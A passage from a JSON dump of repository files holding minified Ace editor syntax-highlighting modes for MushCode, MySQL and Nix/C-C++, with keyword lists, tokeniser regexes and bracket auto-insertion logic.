ners|companyvalue|employees|invested|productlist|productname|productowners|productrating|productratingcount|productsoldat|producttype|ratedproduct|soldproduct|topproducts|totalspentonproduct|totalstock|transfermoney|uniquebuyercount|uniqueproductsbought|validcompany|deletepicture|fbsave|getpicturesecurity|haspicture|listpictures|picturesize|replacecolor|rgbtocolor|savepicture|setpicturesecurity|showpicture|piechart|piechartlabel|createmaze|drawmaze|drawwireframe\",r=this.createKeywordMapper({\"invalid.deprecated\":\"debugger\",\"support.function\":n,\"constant.language\":t,keyword:e},\"identifier\"),i=\"(?:r|u|ur|R|U|UR|Ur|uR)?\",s=\"(?:(?:[1-9]\\\\d*)|(?:0))\",o=\"(?:0[oO]?[0-7]+)\",u=\"(?:0[xX][\\\\dA-Fa-f]+)\",a=\"(?:0[bB][01]+)\",f=\"(?:\"+s+\"|\"+o+\"|\"+u+\"|\"+a+\")\",l=\"(?:[eE][+-]?\\\\d+)\",c=\"(?:\\\\.\\\\d+)\",h=\"(?:\\\\d+)\",p=\"(?:(?:\"+h+\"?\"+c+\")|(?:\"+h+\"\\\\.))\",d=\"(?:(?:\"+p+\"|\"+h+\")\"+l+\")\",v=\"(?:\"+d+\"|\"+p+\")\";this.$rules={start:[{token:\"variable\",regex:\"%[0-9]{1}\"},{token:\"variable\",regex:\"%q[0-9A-Za-z]{1}\"},{token:\"variable\",regex:\"%[a-zA-Z]{1}\"},{token:\"variable.language\",regex:\"%[a-z0-9-_]+\"},{token:\"constant.numeric\",regex:\"(?:\"+v+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:v},{token:\"constant.numeric\",regex:f+\"[lL]\\\\b\"},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|#|%|<<|>>|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.MushCodeRules=s}),ace.define(\"ace/mode/folding/pythonic\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e){this.foldingStartMarker=new RegExp(\"([\\\\[{])(?:\\\\s*)$|(\"+e+\")(?:\\\\s*)(?:#.*)?$\")};r.inherits(s,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=e.getLine(n),i=r.match(this.foldingStartMarker);if(i)return i[1]?this.openingBracketBlock(e,i[1],n,i.index):i[2]?this.indentationBlock(e,n,i.index+i[2].length):this.indentationBlock(e,n)}}.call(s.prototype)}),ace.define(\"ace/mode/mushcode\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mushcode_highlight_rules\",\"ace/mode/folding/pythonic\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mushcode_highlight_rules\").MushCodeRules,o=e(\"./folding/pythonic\").FoldMode,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.foldingRules=new o(\"\\\\:\")};r.inherits(a,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new u(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/mushcode\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-mysql.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/mysql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){function i(e){var t=e.start,n=e.escape;return{token:\"string.start\",regex:t,next:[{token:\"constant.language.escape\",regex:n},{token:\"string.end\",next:\"start\",regex:t},{defaultToken:\"string\"}]}}var e=\"alter|and|as|asc|between|count|create|delete|desc|distinct|drop|from|having|in|insert|into|is|join|like|not|on|or|order|select|set|table|union|update|values|where|accessible|action|add|after|algorithm|all|analyze|asensitive|at|authors|auto_increment|autocommit|avg|avg_row_length|before|binary|binlog|both|btree|cache|call|cascade|cascaded|case|catalog_name|chain|change|changed|character|check|checkpoint|checksum|class_origin|client_statistics|close|coalesce|code|collate|collation|collations|column|columns|comment|commit|committed|completion|concurrent|condition|connection|consistent|constraint|contains|continue|contributors|convert|cross|current_date|current_time|current_timestamp|current_user|cursor|data|database|databases|day_hour|day_microsecond|day_minute|day_second|deallocate|dec|declare|default|delay_key_write|delayed|delimiter|des_key_file|describe|deterministic|dev_pop|dev_samp|deviance|directory|disable|discard|distinctrow|div|dual|dumpfile|each|elseif|enable|enclosed|end|ends|engine|engines|enum|errors|escape|escaped|even|event|events|every|execute|exists|exit|explain|extended|fast|fetch|field|fields|first|flush|for|force|foreign|found_rows|full|fulltext|function|general|global|grant|grants|group|groupby_concat|handler|hash|help|high_priority|hosts|hour_microsecond|hour_minute|hour_second|if|ignore|ignore_server_ids|import|index|index_statistics|infile|inner|innodb|inout|insensitive|insert_method|install|interval|invoker|isolation|iterate|key|keys|kill|language|last|leading|leave|left|level|limit|linear|lines|list|load|local|localtime|localtimestamp|lock|logs|low_priority|master|master_heartbeat_period|master_ssl_verify_server_cert|masters|match|max|max_rows|maxvalue|message_text|middleint|migrate|min|min_rows|minute_microsecond|minute_second|mod|mode|modifies|modify|mutex|mysql_errno|natural|next|no|no_write_to_binlog|offline|offset|one|online|open|optimize|option|optionally|out|outer|outfile|pack_keys|parser|partition|partitions|password|phase|plugin|plugins|prepare|preserve|prev|primary|privileges|procedure|processlist|profile|profiles|purge|query|quick|range|read|read_write|reads|real|rebuild|recover|references|regexp|relaylog|release|remove|rename|reorganize|repair|repeatable|replace|require|resignal|restrict|resume|return|returns|revoke|right|rlike|rollback|rollup|row|row_format|rtree|savepoint|schedule|schema|schema_name|schemas|second_microsecond|security|sensitive|separator|serializable|server|session|share|show|signal|slave|slow|smallint|snapshot|soname|spatial|specific|sql|sql_big_result|sql_buffer_result|sql_cache|sql_calc_found_rows|sql_no_cache|sql_small_result|sqlexception|sqlstate|sqlwarning|ssl|start|starting|starts|status|std|stddev|stddev_pop|stddev_samp|storage|straight_join|subclass_origin|sum|suspend|table_name|table_statistics|tables|tablespace|temporary|terminated|to|trailing|transaction|trigger|triggers|truncate|uncommitted|undo|uninstall|unique|unlock|upgrade|usage|use|use_frm|user|user_resources|user_statistics|using|utc_date|utc_time|utc_timestamp|value|variables|varying|view|views|warnings|when|while|with|work|write|xa|xor|year_month|zerofill|begin|do|then|else|loop|repeat\",t=\"by|bool|boolean|bit|blob|decimal|double|enum|float|long|longblob|longtext|medium|mediumblob|mediumint|mediumtext|time|timestamp|tinyblob|tinyint|tinytext|text|bigint|int|int1|int2|int3|int4|int8|integer|float|float4|float8|double|char|varbinary|varchar|varcharacter|precision|date|datetime|year|unsigned|signed|numeric\",n=\"charset|clear|connect|edit|ego|exit|go|help|nopager|notee|nowarning|pager|print|prompt|quit|rehash|source|status|system|tee\",r=this.createKeywordMapper({\"support.function\":t,keyword:e,constant:\"false|true|null|unknown|date|time|timestamp|ODBCdotTable|zerolessFloat\",\"variable.language\":n},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"(?:-- |#).*$\"},i({start:'\"',escape:/\\\\[0'\"bnrtZ\\\\%_]?/}),i({start:\"'\",escape:/\\\\[0'\"bnrtZ\\\\%_]?/}),s.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+|[xX]'[0-9a-fA-F]+'|0[bB][01]+|[bB]'[01]+'/},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"constant.class\",regex:\"@@?[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"constant.buildin\",regex:\"`[^`]*`\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")]),this.normalizeRules()};r.inherits(u,o),t.MysqlHighlightRules=u}),ace.define(\"ace/mode/mysql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mysql_highlight_rules\",\"ace/range\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../mode/text\").Mode,s=e(\"./mysql_highlight_rules\").MysqlHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=[\"--\",\"#\"],this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/mysql\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-nix.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var 